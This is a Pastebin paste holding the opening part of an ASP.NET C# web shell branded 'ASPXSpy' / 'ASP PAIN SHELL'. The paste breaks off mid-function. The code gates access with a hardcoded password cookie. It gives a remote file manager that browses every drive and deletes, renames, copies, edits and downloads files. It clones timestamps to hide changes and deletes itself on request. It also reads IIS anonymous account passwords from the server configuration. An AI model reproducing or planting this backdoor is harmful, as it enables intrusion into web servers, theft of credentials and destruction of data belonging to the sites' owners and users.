OxAlien

Untitled

Jun 24th, 2013
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 84.10 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2.  
  3. <%@ import Namespace="System.IO"%>
  4.  
  5. <%@ import Namespace="System.Diagnostics"%>
  6.  
  7. <%@ import Namespace="System.Data"%>
  8.  
  9. <%@ import Namespace="System.Management"%>
  10.  
  11. <%@ import Namespace="System.Data.OleDb"%>
  12.  
  13. <%@ import Namespace="Microsoft.Win32"%>
  14.  
  15. <%@ import Namespace="System.Net.Sockets" %>
  16.  
  17. <%@ import Namespace="System.Net" %>
  18.  
  19. <%@ import Namespace="System.Runtime.InteropServices"%>
  20.  
  21. <%@ import Namespace="System.DirectoryServices"%>
  22.  
  23. <%@ import Namespace="System.ServiceProcess"%>
  24.  
  25. <%@ import Namespace="System.Text.RegularExpressions"%>
  26.  
  27. <%@ Import Namespace="System.Threading"%>
  28.  
  29. <%@ Import Namespace="System.Data.SqlClient"%>
  30.  
  31. <%@ import Namespace="Microsoft.VisualBasic"%>
  32.  
  33. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  34.  
  35. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  36.  
  37. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  38.  
  39. <%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
  40.  
  41. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  42.  
  43. <script runat="server">
  44.  
  45. /*
  46.  
  47. Thanks For Using My Shell
  48.  
  49. Code by CrAzY ArAr
  50.  
  51. Made in Algeria
  52.  
  53. Wen: http://Www.Aljyyosh.Com
  54.  
  55.  
  56. */
  57.  
  58. public string Password="297aae72cc4d0d068f46a9158469e34d";
  59.  
  60. public string vbhLn="ASPXSpy";
  61.  
  62. public int TdgGU=1;
  63.  
  64. protected OleDbConnection Dtdr=new OleDbConnection();
  65.  
  66. protected OleDbCommand Kkvb=new OleDbCommand();
  67.  
  68. public NetworkStream NS=null;
  69.  
  70. public NetworkStream NS1=null;
  71.  
  72. TcpClient tcp=new TcpClient();
  73.  
  74. TcpClient zvxm=new TcpClient();
  75.  
  76. ArrayList IVc=new ArrayList();
  77.  
  78. protected void Page_load(object sender,EventArgs e)
  79.  
  80. {
  81.  
  82. YFcNP(this);
  83.  
  84. fhAEn();
  85.  
  86. if (!pdo())
  87.  
  88. {
  89.  
  90. return;
  91.  
  92. }
  93.  
  94. if(IsPostBack)
  95.  
  96. {
  97.  
  98. string tkI=Request["__EVENTTARGET"];
  99.  
  100. string VqV=Request["__File"];
  101.  
  102. if(tkI!="")
  103.  
  104. {
  105.  
  106. switch(tkI)
  107.  
  108. {
  109.  
  110. case "Bin_Parent":
  111.  
  112. krIR(Ebgw(VqV));
  113.  
  114. break;
  115.  
  116. case "Bin_Listdir":
  117.  
  118. krIR(Ebgw(VqV));
  119.  
  120. break;
  121.  
  122. case "kRXgt":
  123.  
  124. kRXgt(Ebgw(VqV));
  125.  
  126. break;
  127.  
  128. case "Bin_Createfile":
  129.  
  130. gLKc(VqV);
  131.  
  132. break;
  133.  
  134. case "Bin_Editfile":
  135.  
  136. gLKc(VqV);
  137.  
  138. break;
  139.  
  140. case "Bin_Createdir":
  141.  
  142. stNPw(VqV);
  143.  
  144. break;
  145.  
  146. case "cYAl":
  147.  
  148. cYAl(VqV);
  149.  
  150. break;
  151.  
  152. case "ksGR":
  153.  
  154. ksGR(Ebgw(VqV));
  155.  
  156. break;
  157.  
  158. case "SJv":
  159.  
  160. SJv(VqV);
  161.  
  162. break;
  163.  
  164. case "Bin_Regread":
  165.  
  166. tpRQ(Ebgw(VqV));
  167.  
  168. break;
  169.  
  170. case "hae":
  171.  
  172. hae();
  173.  
  174. break;
  175.  
  176. case "urJG":
  177.  
  178. urJG(VqV);
  179.  
  180. break;
  181.  
  182. }
  183.  
  184. if(tkI.StartsWith("dAJTD"))
  185.  
  186. {
  187.  
  188. dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
  189.  
  190. }
  191.  
  192. else if(tkI.StartsWith("Tlvz"))
  193.  
  194. {
  195.  
  196. Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
  197.  
  198. }
  199.  
  200. else if(tkI.StartsWith("Bin_CFile"))
  201.  
  202. {
  203.  
  204. YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
  205.  
  206. }
  207.  
  208. }
  209.  
  210. }
  211.  
  212. else
  213.  
  214. {
  215.  
  216. PBZw();
  217.  
  218. }
  219.  
  220. }
  221.  
  222. public bool pdo()
  223.  
  224. {
  225.  
  226. if(Request.Cookies[vbhLn]==null)
  227.  
  228. {
  229.  
  230. tZSx();
  231.  
  232. return false;
  233.  
  234. }
  235.  
  236. else
  237.  
  238. {
  239.  
  240. if (Request.Cookies[vbhLn].Value != Password)
  241.  
  242. {
  243.  
  244. tZSx();
  245.  
  246. return false;
  247.  
  248. }
  249.  
  250. else
  251.  
  252. {
  253.  
  254. return true;
  255.  
  256. }
  257.  
  258. }
  259.  
  260. }
  261.  
  262. public void tZSx()
  263.  
  264. {
  265.  
  266. ljtzC.Visible=true;
  267.  
  268. ZVS.Visible=false;
  269.  
  270. }
  271.  
  272. protected void YKpI(object sender,EventArgs e)
  273.  
  274. {
  275.  
  276. Session.Abandon();
  277.  
  278. Response.Cookies.Add(new HttpCookie(vbhLn,null));
  279.  
  280. tZSx();
  281.  
  282. }
  283.  
  284. public void PBZw()
  285.  
  286. {
  287.  
  288. ZVS.Visible=true;
  289.  
  290. ljtzC.Visible=false;
  291.  
  292. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  293.  
  294. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  295.  
  296. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASP PAIN SHELL ?')){Bin_PostBack('hae','');};";
  297.  
  298. Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
  299.  
  300. Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  301.  
  302. if (AXSbb.Value==string.Empty)
  303.  
  304. {
  305.  
  306. AXSbb.Value=OElM(Server.MapPath("."));
  307.  
  308. }
  309.  
  310. Bin_H2_Title.InnerText="File Manager >>";
  311.  
  312. krIR(AXSbb.Value);
  313.  
  314. }
  315.  
  316. public void fhAEn()
  317.  
  318. {
  319.  
  320. try
  321.  
  322. {
  323.  
  324. string[] YRgt=Directory.GetLogicalDrives();
  325.  
  326. for(int i=0;i<YRgt.Length;i++)
  327.  
  328. {
  329.  
  330. Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
  331.  
  332. Bin_Span_Drv.Controls.Add(c);
  333.  
  334. LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
  335.  
  336. nxeDR.Command+=new CommandEventHandler(this.iVk);
  337.  
  338. }
  339.  
  340. }catch(Exception ex){}
  341.  
  342. }
  343.  
  344. public string OElM(string path)
  345.  
  346. {
  347.  
  348. if(path.Substring(path.Length-1,1)!=@"\")
  349.  
  350. {
  351.  
  352. path=path+@"\";
  353.  
  354. }
  355.  
  356. return path;
  357.  
  358. }
  359.  
  360. public string nrrx(string path)
  361.  
  362. {
  363.  
  364. char[] trim={'\\'};
  365.  
  366. if(path.Substring(path.Length-1,1)==@"\")
  367.  
  368. {
  369.  
  370. path=path.TrimEnd(trim);
  371.  
  372. }
  373.  
  374. return path;
  375.  
  376. }
  377.  
  378. [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
  379.  
  380. public static extern int OMZP(string nDrive);
  381.  
  382. public string mFvj(string instr)
  383.  
  384. {
  385.  
  386. string EuXD=string.Empty;
  387.  
  388. int num=OMZP(instr);
  389.  
  390. switch(num)
  391.  
  392. {
  393.  
  394. case 1:
  395.  
  396. EuXD="Unknow("+instr+")";
  397.  
  398. break;
  399.  
  400. case 2:
  401.  
  402. EuXD="Removable("+instr+")";
  403.  
  404. break;
  405.  
  406. case 3:
  407.  
  408. EuXD="Fixed("+instr+")";
  409.  
  410. break;
  411.  
  412. case 4:
  413.  
  414. EuXD="Network("+instr+")";
  415.  
  416. break;
  417.  
  418. case 5:
  419.  
  420. EuXD="CDRom("+instr+")";
  421.  
  422. break;
  423.  
  424. case 6:
  425.  
  426. EuXD="RAM Disk("+instr+")";
  427.  
  428. break;
  429.  
  430. }
  431.  
  432. return EuXD.Replace(@"\","");
  433.  
  434. }
  435.  
  436. public string MVVJ(string instr)
  437.  
  438. {
  439.  
  440. byte[] tmp=Encoding.Default.GetBytes(instr);
  441.  
  442. return Convert.ToBase64String(tmp);
  443.  
  444. }
  445.  
  446. public string Ebgw(string instr)
  447.  
  448. {
  449.  
  450. byte[] tmp=Convert.FromBase64String(instr);
  451.  
  452. return Encoding.Default.GetString(tmp);
  453.  
  454. }
  455.  
  456. public void krIR(string path)
  457.  
  458. {
  459.  
  460. WICxe();
  461.  
  462. CzfO.Visible=true;
  463.  
  464. Bin_H2_Title.InnerText="File Manager >>";
  465.  
  466. AXSbb.Value=OElM(path);
  467.  
  468. DirectoryInfo GQMM=new DirectoryInfo(path);
  469.  
  470. if(Directory.GetParent(nrrx(path))!=null)
  471.  
  472. {
  473.  
  474. string bg=OKM();
  475.  
  476. TableRow p=new TableRow();
  477.  
  478. for(int i=1;i<6;i++)
  479.  
  480. {
  481.  
  482. TableCell pc=new TableCell();
  483.  
  484. if(i==1)
  485.  
  486. {
  487.  
  488. pc.Width=Unit.Parse("2%");
  489.  
  490. pc.Text="0";
  491.  
  492. p.CssClass=bg;
  493.  
  494. }
  495.  
  496. if(i==2)
  497.  
  498. {
  499.  
  500. pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')\">Parent Directory</a>";
  501.  
  502. }
  503.  
  504. p.Cells.Add(pc);
  505.  
  506. UGzP.Rows.Add(p);
  507.  
  508. }
  509.  
  510. }
  511.  
  512. try
  513.  
  514. {
  515.  
  516. int vLlH=0;
  517.  
  518. foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
  519.  
  520. {
  521.  
  522. string bg=OKM();
  523.  
  524. vLlH++;
  525.  
  526. TableRow tr=new TableRow();
  527.  
  528. TableCell tc=new TableCell();
  529.  
  530. tc.Width=Unit.Parse("2%");
  531.  
  532. tc.Text="0";
  533.  
  534. tr.Attributes["onmouseover"]="this.className='focus';";
  535.  
  536. tr.CssClass=bg;
  537.  
  538. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  539.  
  540. tr.Cells.Add(tc);
  541.  
  542. TableCell HczyN=new TableCell();
  543.  
  544. HczyN.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
  545.  
  546. tr.Cells.Add(HczyN);
  547.  
  548. TableCell LYZK=new TableCell();
  549.  
  550. LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  551.  
  552. tr.Cells.Add(LYZK);
  553.  
  554. UGzP.Rows.Add(tr);
  555.  
  556. TableCell ERUL=new TableCell();
  557.  
  558. ERUL.Text="--";
  559.  
  560. tr.Cells.Add(ERUL);
  561.  
  562. UGzP.Rows.Add(tr);
  563.  
  564. TableCell ZGKh=new TableCell();
  565.  
  566. ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
  567.  
  568. tr.Cells.Add(ZGKh);
  569.  
  570. UGzP.Rows.Add(tr);
  571.  
  572. }
  573.  
  574. TableRow cKVA=new TableRow();
  575.  
  576. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  577.  
  578. cKVA.Attributes["bgcolor"]="#dddddd";
  579.  
  580. TableCell JlmW=new TableCell();
  581.  
  582. JlmW.Attributes["colspan"]="6" ;
  583.  
  584. JlmW.Attributes["height"]="5";
  585.  
  586. cKVA.Cells.Add(JlmW);
  587.  
  588. UGzP.Rows.Add(cKVA);
  589.  
  590. int aYRwo=0;
  591.  
  592. foreach(FileInfo Bin_Files in GQMM.GetFiles())
  593.  
  594. {
  595.  
  596. aYRwo++;
  597.  
  598. string gb=OKM();
  599.  
  600. TableRow tr=new TableRow();
  601.  
  602. TableCell tc=new TableCell();
  603.  
  604. tc.Width=Unit.Parse("2%");
  605.  
  606. tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+MVVJ(Bin_Files.Name)+"\">";
  607.  
  608. tr.Attributes["onmouseover"]="this.className='focus';";
  609.  
  610. tr.CssClass=gb;
  611.  
  612. tr.Attributes["onmouseout"]="this.className='"+gb+"';";
  613.  
  614. tr.Cells.Add(tc);
  615.  
  616. TableCell filename=new TableCell();
  617.  
  618. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  619.  
  620. {
  621.  
  622. string url=Request.Url.ToString();
  623.  
  624. filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
  625.  
  626. }
  627.  
  628. else
  629.  
  630. {
  631.  
  632. filename.Text=Bin_Files.Name;
  633.  
  634. }
  635.  
  636. TableCell albt=new TableCell();
  637.  
  638. albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  639.  
  640. TableCell YzK=new TableCell();
  641.  
  642. YzK.Text=mTG(Bin_Files.Length);
  643.  
  644. TableCell GLpi=new TableCell();
  645.  
  646. GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Time</a> ";
  647.  
  648. tr.Cells.Add(filename);
  649.  
  650. tr.Cells.Add(albt);
  651.  
  652. tr.Cells.Add(YzK);
  653.  
  654. tr.Cells.Add(GLpi);
  655.  
  656. UGzP.Rows.Add(tr);
  657.  
  658. }
  659.  
  660. string lgb=OKM();
  661.  
  662. TableRow oWam=new TableRow();
  663.  
  664. oWam.CssClass=lgb;
  665.  
  666. for(int i=1;i<4;i++)
  667.  
  668. {
  669.  
  670. TableCell lGV=new TableCell();
  671.  
  672. if(i==1)
  673.  
  674. {
  675.  
  676. lGV.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
  677.  
  678. }
  679.  
  680. if(i==2)
  681.  
  682. {
  683.  
  684. lGV.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Please Confirm That You Want To Delete This ?')){Bin_PostBack('SJv',d_file)};}\">Delete selected</a>";
  685.  
  686. }
  687.  
  688. if(i==3)
  689.  
  690. {
  691.  
  692. lGV.ColumnSpan=4;
  693.  
  694. lGV.Style.Add("text-align","right");
  695.  
  696. lGV.Text=vLlH+" directories/ "+aYRwo+" files";
  697.  
  698. }
  699.  
  700. oWam.Cells.Add(lGV);
  701.  
  702. }
  703.  
  704. UGzP.Rows.Add(oWam);
  705.  
  706. }
  707.  
  708. catch(Exception error)
  709.  
  710. {
  711.  
  712. xseuB(error.Message);
  713.  
  714. }
  715.  
  716. }
  717.  
  718. public string OKM()
  719.  
  720. {
  721.  
  722. TdgGU++;
  723.  
  724. if(TdgGU % 2==0)
  725.  
  726. {
  727.  
  728. return "alt1";
  729.  
  730. }
  731.  
  732. else
  733.  
  734. {
  735.  
  736. return "alt2";
  737.  
  738. }
  739.  
  740. }
  741.  
  742. public void kRXgt(string qcKu)
  743.  
  744. {
  745.  
  746. try
  747.  
  748. {
  749.  
  750. Directory.Delete(qcKu,true);
  751.  
  752. xseuB("Directory delete new success !");
  753.  
  754. }
  755.  
  756. catch(Exception error)
  757.  
  758. {
  759.  
  760. xseuB(error.Message);
  761.  
  762. }
  763.  
  764. krIR(Directory.GetParent(qcKu).ToString());
  765.  
  766. }
  767.  
  768. public void dAJTD(string sdir,string ddir)
  769.  
  770. {
  771.  
  772. try
  773.  
  774. {
  775.  
  776. Directory.Move(sdir,ddir);
  777.  
  778. xseuB("Directory Renamed Success !");
  779.  
  780. }
  781.  
  782. catch(Exception error)
  783.  
  784. {
  785.  
  786. xseuB(error.Message);
  787.  
  788. }
  789.  
  790. krIR(AXSbb.Value);
  791.  
  792. }
  793.  
  794. public void Tlvz(string sfile,string dfile)
  795.  
  796. {
  797.  
  798. try
  799.  
  800. {
  801.  
  802. File.Move(sfile,dfile);
  803.  
  804. xseuB("File Renamed Success !");
  805.  
  806. }
  807.  
  808. catch(Exception error)
  809.  
  810. {
  811.  
  812. xseuB(error.Message);
  813.  
  814. }
  815.  
  816. krIR(AXSbb.Value);
  817.  
  818. }
  819.  
  820. public void YByN(string spath,string dpath)
  821.  
  822. {
  823.  
  824. try
  825.  
  826. {
  827.  
  828. File.Copy(spath,dpath);
  829.  
  830. xseuB("File Copy Success !");
  831.  
  832. }
  833.  
  834. catch(Exception error)
  835.  
  836. {
  837.  
  838. xseuB(error.Message);
  839.  
  840. }
  841.  
  842. krIR(AXSbb.Value);
  843.  
  844. }
  845.  
  846. public void stNPw(string path)
  847.  
  848. {
  849.  
  850. try
  851.  
  852. {
  853.  
  854. Directory.CreateDirectory(AXSbb.Value+path);
  855.  
  856. xseuB("Directory created success !");
  857.  
  858. }
  859.  
  860. catch(Exception error)
  861.  
  862. {
  863.  
  864. xseuB(error.Message);
  865.  
  866. }
  867.  
  868. krIR(AXSbb.Value);
  869.  
  870. }
  871.  
  872. public void gLKc(string path)
  873.  
  874. {
  875.  
  876. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  877.  
  878. {
  879.  
  880. foreach(ListItem item in NdCX.Items)
  881.  
  882. {
  883.  
  884. if(item.Selected=true)
  885.  
  886. {
  887.  
  888. item.Selected=false;
  889.  
  890. }
  891.  
  892. }
  893.  
  894. }
  895.  
  896. Bin_H2_Title.InnerHtml="Create/ Edit File >>";
  897.  
  898. WICxe();
  899.  
  900. vrFA.Visible=true;
  901.  
  902. if(path.IndexOf(":")< 0)
  903.  
  904. {
  905.  
  906. Sqon.Value=AXSbb.Value+path;
  907.  
  908. }
  909.  
  910. else
  911.  
  912. {
  913.  
  914. Sqon.Value=path;
  915.  
  916. }
  917.  
  918. if(File.Exists(Sqon.Value))
  919.  
  920. {
  921.  
  922. StreamReader sr;
  923.  
  924. if(NdCX.SelectedItem.Text=="UTF-8")
  925.  
  926. {
  927.  
  928. sr=new StreamReader(Sqon.Value,Encoding.UTF8);
  929.  
  930. }
  931.  
  932. else
  933.  
  934. {
  935.  
  936. sr=new StreamReader(Sqon.Value,Encoding.Default);
  937.  
  938. }
  939.  
  940. Xgvv.InnerText=sr.ReadToEnd();
  941.  
  942. sr.Close();
  943.  
  944. }
  945.  
  946. else
  947.  
  948. {
  949.  
  950. Xgvv.InnerText=string.Empty;
  951.  
  952. }
  953.  
  954. }
  955.  
  956. public void ksGR(string path)
  957.  
  958. {
  959.  
  960. FileInfo fs=new FileInfo(path);
  961.  
  962. Response.Clear();
  963.  
  964. Page.Response.ClearHeaders();
  965.  
  966. Page.Response.Buffer=false;
  967.  
  968. this.EnableViewState=false;
  969.  
  970. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
  971.  
  972. Response.AddHeader("Content-Length",fs.Length.ToString());
  973.  
  974. Page.Response.ContentType="application/unknown";
  975.  
  976. Response.WriteFile(fs.FullName);
  977.  
  978. Page.Response.Flush();
  979.  
  980. Page.Response.Close();
  981.  
  982. Response.End();
  983.  
  984. Page.Response.Clear();
  985.  
  986. }
  987.  
  988. public void SJv(string path)
  989.  
  990. {
  991.  
  992. try
  993.  
  994. {
  995.  
  996. string[] spdT=path.Split(',');
  997.  
  998. for(int i=0;i<spdT.Length-1;i++)
  999.  
  1000. {
  1001.  
  1002. File.Delete(AXSbb.Value+Ebgw(spdT[i]));
  1003.  
  1004. }
  1005.  
  1006. xseuB("File Delete Success !");
  1007.  
  1008. }
  1009.  
  1010. catch(Exception error)
  1011.  
  1012. {
  1013.  
  1014. xseuB(error.Message);
  1015.  
  1016. }
  1017.  
  1018. krIR(AXSbb.Value);
  1019.  
  1020. }
  1021.  
  1022. public void hae()
  1023.  
  1024. {
  1025.  
  1026. try
  1027.  
  1028. {
  1029.  
  1030. File.Delete(Request.PhysicalPath);
  1031.  
  1032. Response.Redirect("http://www.rootkit.net.cn");
  1033.  
  1034. }
  1035.  
  1036. catch(Exception error)
  1037.  
  1038. {
  1039.  
  1040. xseuB(error.Message);
  1041.  
  1042. }
  1043.  
  1044. }
  1045.  
  1046. public void cYAl(string path)
  1047.  
  1048. {
  1049.  
  1050. Bin_H2_Title.InnerHtml="Clone file was last modified time >>";
  1051.  
  1052. WICxe();
  1053.  
  1054. zRyG.Visible=true;
  1055.  
  1056. QiFB.Value=AXSbb.Value+path;
  1057.  
  1058. lICp.Value=AXSbb.Value;
  1059.  
  1060. pWVL.Value=AXSbb.Value+path;
  1061.  
  1062. string Att=File.GetAttributes(QiFB.Value).ToString();
  1063.  
  1064. if(Att.LastIndexOf("ReadOnly")!=-1)
  1065.  
  1066. {
  1067.  
  1068. ZhWSK.Checked=true;
  1069.  
  1070. }
  1071.  
  1072. if(Att.LastIndexOf("System")!=-1)
  1073.  
  1074. {
  1075.  
  1076. SsR.Checked=true;
  1077.  
  1078. }
  1079.  
  1080. if(Att.LastIndexOf("Hidden")!=-1)
  1081.  
  1082. {
  1083.  
  1084. ccB.Checked=true;
  1085.  
  1086. }
  1087.  
  1088. if(Att.LastIndexOf("Archive")!=-1)
  1089.  
  1090. {
  1091.  
  1092. fbyZ.Checked=true;
  1093.  
  1094. }
  1095.  
  1096. yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
  1097.  
  1098. uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
  1099.  
  1100. aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
  1101.  
  1102. }
  1103.  
  1104. public static String mTG(Int64 fileSize)
  1105.  
  1106. {
  1107.  
  1108. if(fileSize<0)
  1109.  
  1110. {
  1111.  
  1112. throw new ArgumentOutOfRangeException("fileSize");
  1113.  
  1114. }
  1115.  
  1116. else if(fileSize >= 1024 * 1024 * 1024)
  1117.  
  1118. {
  1119.  
  1120. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  1121.  
  1122. }
  1123.  
  1124. else if(fileSize >= 1024 * 1024)
  1125.  
  1126. {
  1127.  
  1128. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  1129.  
  1130. }
  1131.  
  1132. else if(fileSize >= 1024)
  1133.  
  1134. {
  1135.  
  1136. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  1137.  
  1138. }
  1139.  
  1140. else
  1141.  
  1142. {
  1143.  
  1144. return string.Format("{0} B",fileSize);
  1145.  
  1146. }
  1147.  
  1148. }
  1149.  
  1150. private bool SGde(string sSrc)
  1151.  
  1152. {
  1153.  
  1154. Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
  1155.  
  1156. if(reg.IsMatch(sSrc))
  1157.  
  1158. {
  1159.  
  1160. return true;
  1161.  
  1162. }
  1163.  
  1164. else
  1165.  
  1166. {
  1167.  
  1168. return false;
  1169.  
  1170. }
  1171.  
  1172. }
  1173.  
  1174. public void AdCx()
  1175.  
  1176. {
  1177.  
  1178. string qcKu=string.Empty;
  1179.  
  1180. string mWGEm="IIS://localhost/W3SVC";
  1181.  
  1182. GlI.Style.Add("word-break","break-all");
  1183.  
  1184. try
  1185.  
  1186. {
  1187.  
  1188. DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
  1189.  
  1190. int fmW=0;
  1191.  
  1192. foreach(DirectoryEntry child in HHzcY.Children)
  1193.  
  1194. {
  1195.  
  1196. if(SGde(child.Name.ToString()))
  1197.  
  1198. {
  1199.  
  1200. fmW++;
  1201.  
  1202. DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
  1203.  
  1204. DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
  1205.  
  1206. string bg=OKM();
  1207.  
  1208. TableRow TR=new TableRow();
  1209.  
  1210. TR.Attributes["onmouseover"]="this.className='focus';";
  1211.  
  1212. TR.CssClass=bg;
  1213.  
  1214. TR.Attributes["onmouseout"]="this.className='"+bg+"';";
  1215.  
  1216. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  1217.  
  1218. for(int i=1;i<6;i++)
  1219.  
  1220. {
  1221.  
  1222. try
  1223.  
  1224. {
  1225.  
  1226. TableCell tfit=new TableCell();
  1227.  
  1228. switch(i)
  1229.  
  1230. {case 1:
  1231.  
  1232. tfit.Text=fmW.ToString();
  1233.  
  1234. break;
  1235.  
  1236. case 2:
  1237.  
  1238. tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
  1239.  
  1240. break;
  1241.  
  1242. case 3:
  1243.  
  1244. tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
  1245.  
  1246. break;
  1247.  
  1248. case 4:
  1249.  
  1250. StringBuilder sb=new StringBuilder();
  1251.  
  1252. PropertyValueCollection pc=child.Properties["ServerBindings"];
  1253.  
  1254. for (int j=0; j < pc.Count; j++)
  1255.  
  1256. {
  1257.  
  1258. sb.Append(pc[j].ToString()+"<br>");
  1259.  
  1260. }
  1261.  
  1262. tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  1263.  
  1264. break;
  1265.  
  1266. case 5:
  1267.  
  1268. tfit.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')\">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
  1269.  
  1270. break;
  1271.  
  1272. }
  1273.  
  1274. TR.Cells.Add(tfit);
  1275.  
  1276. }
  1277.  
  1278. catch (Exception ex)
  1279.  
  1280. {
  1281.  
  1282. xseuB(ex.Message);
  1283.  
  1284. continue;
  1285.  
  1286. }
  1287.  
  1288. }
  1289.  
  1290. GlI.Controls.Add(TR);
  1291.  
  1292. }
  1293.  
  1294. }
  1295.  
  1296. }
  1297.  
  1298. catch(Exception ex)
  1299.  
  1300. {
  1301.  
  1302. xseuB(ex.Message);
  1303.  
  1304. }
  1305.  
  1306. }
  1307.  
  1308. public ManagementObjectCollection PhQTd(string query)
  1309.  
  1310. {
  1311.  
  1312. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  1313.  
  1314. return QS.Get();
  1315.  
  1316. }
  1317.  
  1318. public DataTable cCf(string query)
  1319.  
  1320. {
  1321.  
  1322. DataTable dt=new DataTable();
  1323.  
  1324. int i=0;
  1325.  
  1326. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  1327.  
  1328. try
  1329.  
  1330. {
  1331.  
  1332. foreach(ManagementObject m in QS.Get())
  1333.  
  1334. {
  1335.  
  1336. DataRow dr=dt.NewRow();
  1337.  
  1338. PropertyDataCollection.PropertyDataEnumerator oEnum;
  1339.  
